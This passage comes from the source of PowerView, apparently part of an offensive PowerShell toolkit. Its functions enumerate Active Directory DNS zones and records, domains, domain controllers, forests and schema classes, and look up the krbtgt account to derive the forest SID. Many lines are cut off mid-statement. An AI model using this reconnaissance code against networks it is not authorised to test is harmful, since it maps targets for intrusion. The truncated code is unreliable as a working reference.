if ($PSBoundParameters['ServerTimeLimit']) {
$Searcher.ServerTimeLimit = $ServerTimeLimit
}
if ($PSBoundParameters['Tombstone']) {
$Searcher.Tombstone = $True
}
if ($PSBoundParameters['LDAPFilter']) {
$Searcher.filter = $LDAPFilter
}
if ($PSBoundParameters['SecurityMasks']) {
$Searcher.SecurityMasks = Switch ($SecurityMasks) {
'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl }
'Group' { [System.DirectoryServices.SecurityMasks]::Group }
'None' { [System.DirectoryServices.SecurityMasks]::None }
'Owner' { [System.DirectoryServices.SecurityMasks]::Owner }
'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl }
}
}
if ($PSBoundParameters['Properties']) {
# handle an array of properties to load w/ the possibility of comma-separated strings
$PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') }
$Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad))
}
}
$Searcher
}
}
function Convert-DNSRecord {
<#
.SYNOPSIS
Helpers that decodes a binary DNS record blob.
Author: Michael B. Smith, Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Decodes a binary blob representing an Active Directory DNS entry.
Used by Get-DomainDNSRecord.
Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerSh
.PARAMETER DNSRecord
A byte array representing the DNS record.
.OUTPUTS
System.Management.Automation.PSCustomObject
Outputs custom PSObjects with detailed information about the DNS record entry.
.LINK
https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
#>
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[Byte[]]
$DNSRecord
)
BEGIN {
function Get-Name {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseOutputTypeCorrectly', '')]
[CmdletBinding()]
Param(
[Byte[]]
$Raw
)
[Int]$Length = $Raw[0]
[Int]$Segments = $Raw[1]
[Int]$Index = 2
[String]$Name = ''
while ($Segments-- -gt 0)
{
[Int]$SegmentLength = $Raw[$Index++]
while ($SegmentLength-- -gt 0) {
$Name += [Char]$Raw[$Index++]
}
$Name += "."
}
$Name
}
}
PROCESS {
# $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0)
$RDataType = [BitConverter]::ToUInt16($DNSRecord, 2)
$UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8)
$TTLRaw = $DNSRecord[12..15]
# reverse for big endian
$Null = [array]::Reverse($TTLRaw)
$TTL = [BitConverter]::ToUInt32($TTLRaw, 0)
$Age = [BitConverter]::ToUInt32($DNSRecord, 20)
if ($Age -ne 0) {
$TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours
}
else {
$TimeStamp = '[static]'
}
$DNSRecordObject = New-Object PSObject
if ($RDataType -eq 1) {
$IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27]
$Data = $IP
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A'
}
elseif ($RDataType -eq 2) {
$NSName = Get-Name $DNSRecord[24..$DNSRecord.length]
$Data = $NSName
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS'
}
elseif ($RDataType -eq 5) {
$Alias = Get-Name $DNSRecord[24..$DNSRecord.length]
$Data = $Alias
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME'
}
elseif ($RDataType -eq 6) {
# TODO: how to implement properly? nested object?
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA'
}
elseif ($RDataType -eq 12) {
$Ptr = Get-Name $DNSRecord[24..$DNSRecord.length]
$Data = $Ptr
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR'
}
elseif ($RDataType -eq 13) {
# TODO: how to implement properly? nested object?
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO'
}
elseif ($RDataType -eq 15) {
# TODO: how to implement properly? nested object?
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX'
}
elseif ($RDataType -eq 16) {
[string]$TXT = ''
[int]$SegmentLength = $DNSRecord[24]
$Index = 25
while ($SegmentLength-- -gt 0) {
$TXT += [char]$DNSRecord[$index++]
}
$Data = $TXT
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT'
}
elseif ($RDataType -eq 28) {
# TODO: how to implement properly? nested object?
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA'
}
elseif ($RDataType -eq 33) {
# TODO: how to implement properly? nested object?
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV'
}
else {
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN'
}
$DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial
$DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL
$DNSRecordObject | Add-Member Noteproperty 'Age' $Age
$DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp
$DNSRecordObject | Add-Member Noteproperty 'Data' $Data
$DNSRecordObject
}
}
function Get-DomainDNSZone {
<#
.SYNOPSIS
Enumerates the Active Directory DNS zones for a given domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
.PARAMETER Domain
The domain to query for zones, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the search.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainDNSZone
Retrieves the DNS zones for the current domain.
.EXAMPLE
Get-DomainDNSZone -Domain dev.testlab.local -Server primary.testlab.local
Retrieves the DNS zones for the dev.testlab.local domain, binding to primary.testlab.local.
.OUTPUTS
PowerView.DNSZone
Outputs custom PSObjects with detailed information about the DNS zone.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.DNSZone')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$SearcherArguments = @{
'LDAPFilter' = '(objectClass=dnsZone)'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$DNSSearcher1 = Get-DomainSearcher @SearcherArguments
if ($DNSSearcher1) {
if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher1.FindOne() }
else { $Results = $DNSSearcher1.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
$Out = Convert-LDAPProperty -Properties $_.Properties
$Out | Add-Member NoteProperty 'ZoneName' $Out.name
$Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone')
$Out
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_"
}
}
$DNSSearcher1.dispose()
}
$SearcherArguments['SearchBasePrefix'] = 'CN=MicrosoftDNS,DC=DomainDnsZones'
$DNSSearcher2 = Get-DomainSearcher @SearcherArguments
if ($DNSSearcher2) {
try {
if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher2.FindOne() }
else { $Results = $DNSSearcher2.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
$Out = Convert-LDAPProperty -Properties $_.Properties
$Out | Add-Member NoteProperty 'ZoneName' $Out.name
$Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone')
$Out
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainDNSZone] Error disposing of the Results object: $_"
}
}
}
catch {
Write-Verbose "[Get-DomainDNSZone] Error accessing 'CN=MicrosoftDNS,DC=DomainDnsZ
}
$DNSSearcher2.dispose()
}
}
}
function Get-DomainDNSRecord {
<#
.SYNOPSIS
Enumerates the Active Directory DNS records for a given zone.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord
.DESCRIPTION
Given a specific Active Directory DNS zone name, query for all 'dnsNode'
LDAP entries using that zone as the search base. Return all DNS entry results
and use Convert-DNSRecord to try to convert the binary DNS record blobs.
.PARAMETER ZoneName
Specifies the zone to query for records (which can be enumearted with Get-DomainDNSZone).
.PARAMETER Domain
The domain to query for zones, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the search.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainDNSRecord -ZoneName testlab.local
Retrieve all records for the testlab.local zone.
.EXAMPLE
Get-DomainDNSZone | Get-DomainDNSRecord
Retrieve all records for all zones in the current domain.
.EXAMPLE
Get-DomainDNSZone -Domain dev.testlab.local | Get-DomainDNSRecord -Domain dev.testlab.local
Retrieve all records for all zones in the dev.testlab.local domain.
.OUTPUTS
PowerView.DNSRecord
Outputs custom PSObjects with detailed information about the DNS record entry.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.DNSRecord')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByP
[ValidateNotNullOrEmpty()]
[String]
$ZoneName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties = 'name,distinguishedname,dnsrecord,whencreated,whenchanged',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$SearcherArguments = @{
'LDAPFilter' = '(objectClass=dnsNode)'
'SearchBasePrefix' = "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones"
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$DNSSearcher = Get-DomainSearcher @SearcherArguments
if ($DNSSearcher) {
if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher.FindOne() }
else { $Results = $DNSSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
try {
$Out = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishe
$Out | Add-Member NoteProperty 'ZoneName' $ZoneName
# convert the record and extract the properties
if ($Out.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) {
# TODO: handle multiple nested records properly?
$Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0]
}
else {
$Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord
}
if ($Record) {
$Record.PSObject.Properties | ForEach-Object {
$Out | Add-Member NoteProperty $_.Name $_.Value
}
}
$Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSRecord')
$Out
}
catch {
Write-Warning "[Get-DomainDNSRecord] Error: $_"
$Out
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainDNSRecord] Error disposing of the Results object: $_"
}
}
$DNSSearcher.dispose()
}
}
}
function Get-Domain {
<#
.SYNOPSIS
Returns the domain object for the current (or specified) domain.
Author: Will Schroeder (@harmj0y), Alexander Sturz (@_61106960_)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current
domain or the domain specified with -Domain X.
.PARAMETER Domain
Specifies the domain name to query for, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-Domain -Domain testlab.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-Domain -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.Domain
A complex .NET domain object.
.LINK
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481
#>
[OutputType([System.DirectoryServices.ActiveDirectory.Domain])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$Server,
[Parameter(Mandatory = $false)]
[Switch]
$SSL, # Dummy value to cover predefined SearcherArguments
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
if ($PSBoundParameters['Credential']) {
Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain'
if ($PSBoundParameters['Domain']) {
$TargetDomain = $Domain
} else {
# if no domain is supplied, extract the logon domain from the PSCredential passed
$TargetDomain = $Credential.GetNetworkCredential().Domain
Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from PSCredentials"
}
if ($PSBoundParameters['Server']) {
$TargetDC = $Server
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('D
} else {
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('D
}
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could no
}
}
elseif ($PSBoundParameters['Domain']) {
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Dom
if ($PSBoundParameters['Server']) {
$TargetDC = $Server
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('D
}
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist or could not be
}
}
else {
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch {
Write-Verbose "[Get-Domain] Error retrieving the current domain: $_"
}
}
}
}
function Get-DomainController {
<#
.SYNOPSIS
Return the domain controllers for the current (or specified) domain.
Author: Will Schroeder (@harmj0y), Alexander Sturz (@_61106960_)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-Domain
.DESCRIPTION
Enumerates the domain controllers for the current or specified domain.
By default built in .NET methods are used. The -LDAP switch uses Get-DomainComputer
to search for domain controllers.
.PARAMETER Domain
The domain to query for domain controllers, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER LDAP
Switch. Use LDAP queries to determine the domain controllers instead of built in .NET methods.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER SSL
Switch. Use SSL for the connection to the LDAP server.
.EXAMPLE
Get-DomainController -Domain 'test.local'
Determine the domain controllers for 'test.local'.
.EXAMPLE
Get-DomainController -Domain 'test.local' -LDAP
Determine the domain controllers for 'test.local' using LDAP queries.
.EXAMPLE
'test.local' | Get-DomainController
Determine the domain controllers for 'test.local'.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainController -Credential $Cred
.OUTPUTS
PowerView.Computer
Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified.
System.DirectoryServices.ActiveDirectory.DomainController
If -LDAP isn't specified.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.Computer')]
[OutputType('System.DirectoryServices.ActiveDirectory.DomainController')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Switch]
$LDAP,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$SSL
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
if ($PSBoundParameters['SSL']) { $Arguments['SSL'] = $SSL }
if ($PSBoundParameters['LDAP'] -and $PSBoundParameters['Server']) {
# UAC specification for domain controllers
$Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
Get-DomainComputer @Arguments
} else {
$FoundDomain = Get-Domain @Arguments
if ($FoundDomain) {
$FoundDomain.DomainControllers
}
}
}
}
function Get-Forest {
<#
.SYNOPSIS
Returns the forest object for the current (or specified) forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: ConvertTo-SID
.DESCRIPTION
Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current
forest or the forest specified with -Forest X.
.PARAMETER Forest
The forest name to query for, defaults to the current forest.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target forest.
.EXAMPLE
Get-Forest -Forest external.domain
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-Forest -Credential $Cred
.OUTPUTS
System.Management.Automation.PSCustomObject
Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition
to the forest root domain SID.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
if ($PSBoundParameters['Credential']) {
Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest"
if ($PSBoundParameters['Forest']) {
$TargetForest = $Forest
}
else {
# if no domain is supplied, extract the logon domain from the PSCredential passed
$TargetForest = $Credential.GetNetworkCredential().Domain
Write-Verbose "[Get-Forest] Extracted domain '$Forest' from -Credential"
}
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Fore
try {
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContex
}
catch {
Write-Verbose "[Get-Forest] The specified forest '$TargetForest' does not exist, could not be
$Null
}
}
elseif ($PSBoundParameters['Forest']) {
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Fore
try {
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContex
}
catch {
Write-Verbose "[Get-Forest] The specified forest '$Forest' does not exist, could not be contac
return $Null
}
}
else {
# otherwise use the current forest
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
}
if ($ForestObject) {
# get the SID of the forest root
if ($PSBoundParameters['Credential']) {
$ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -
}
else {
$ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).
}
$Parts = $ForestSid -Split '-'
$ForestSid = $Parts[0..$($Parts.length-2)] -join '-'
$ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid
$ForestObject
}
}
}
function Get-ForestDomain {
<#
.SYNOPSIS
Return all domains for the current (or specified) forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Returns all domains for the current forest or the forest specified
by -Forest X.
.PARAMETER Forest
Specifies the forest name to query for domains.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target forest.
.EXAMPLE
Get-ForestDomain
.EXAMPLE
Get-ForestDomain -Forest external.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-ForestDomain -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.Domain
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.ActiveDirectory.Domain')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
$ForestObject.Domains
}
}
}
function Get-ForestGlobalCatalog {
<#
.SYNOPSIS
Return all global catalogs for the current (or specified) forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Returns all global catalogs for the current forest or the forest specified
by -Forest X by using Get-Forest to retrieve the specified forest object
and the .FindAllGlobalCatalogs() to enumerate the global catalogs.
.PARAMETER Forest
Specifies the forest name to query for global catalogs.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-ForestGlobalCatalog
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-ForestGlobalCatalog -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.GlobalCatalog
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
$ForestObject.FindAllGlobalCatalogs()
}
}
}
function Get-ForestSchemaClass {
<#
.SYNOPSIS
Helper that returns the Active Directory schema classes for the current
(or specified) forest or returns just the schema class specified by
-ClassName X.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Uses Get-Forest to retrieve the current (or specified) forest. By default,
the .FindAllClasses() method is executed, returning a collection of
[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] results.
If "-FindClass X" is specified, the [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
result for the specified class name is returned.
.PARAMETER ClassName
Specifies a ActiveDirectorySchemaClass name in the found schema to return.
.PARAMETER Forest
The forest to query for the schema, defaults to the current forest.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-ForestSchemaClass
Returns all domain schema classes for the current forest.
.EXAMPLE
Get-ForestSchemaClass -Forest dev.testlab.local
Returns all domain schema classes for the external.local forest.
.EXAMPLE
Get-ForestSchemaClass -ClassName user -Forest external.local
Returns the user schema class for the external.local domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-ForestSchemaClass -ClassName user -Forest external.local -Credential $Cred
Returns the user schema class for the external.local domain using
the specified alternate credentials.
.OUTPUTS
[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
An ActiveDirectorySchemaClass returned from the found schema.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[Alias('Class')]
[ValidateNotNullOrEmpty()]
[String[]]
$ClassName,
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
if ($PSBoundParameters['ClassName']) {
ForEach ($TargetClass in $ClassName) {
$ForestObject.Schema.FindClass($TargetClass)
}
}
else {
$ForestObject.Schema.FindAllClasses()
}
}
}
}
function Find-DomainObjectPropertyOutlier {
<#
.SYNOPSIS
Finds user/group/computer objects in AD that have 'outlier' properties set.
Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer
.DESCRIPTION
A 'reference' set of property names is calculated, either from a standard set preserved
for user/group/computers, or from the array of names passed to -ReferencePropertySet, or
from the property names of the passed -ReferenceObject. Every user/group/computer object
(depending on determined class) are enumerated, and for each object, if the object has a
'non-standard' property set (meaning a property not held by the reference set), the object's
samAccountName, property name, and property value are output to the pipeline.
.PARAMETER ClassName
Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'.
If -ReferenceObject is specified, this will be automatically extracted, if possible.
.PARAMETER ReferencePropertySet
Specifies an array of property names to diff against the class schema.
.PARAMETER ReferenceObject
Specicifes the PowerView user/group/computer object to extract property names
from to use as the reference set.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Find-DomainObjectPropertyOutlier -ClassName 'User'
Enumerates users in the current domain with 'outlier' properties filled in.
.EXAMPLE
Find-DomainObjectPropertyOutlier -ClassName 'Group' -Domain external.local
Enumerates groups in the external.local forest/domain with 'outlier' properties filled in.
.EXAMPLE
Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier
Enumerates computers in the current domain with 'outlier' properties filled in.
.OUTPUTS
PowerView.PropertyOutlier
Custom PSObject with translated object property outliers.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.PropertyOutlier')]
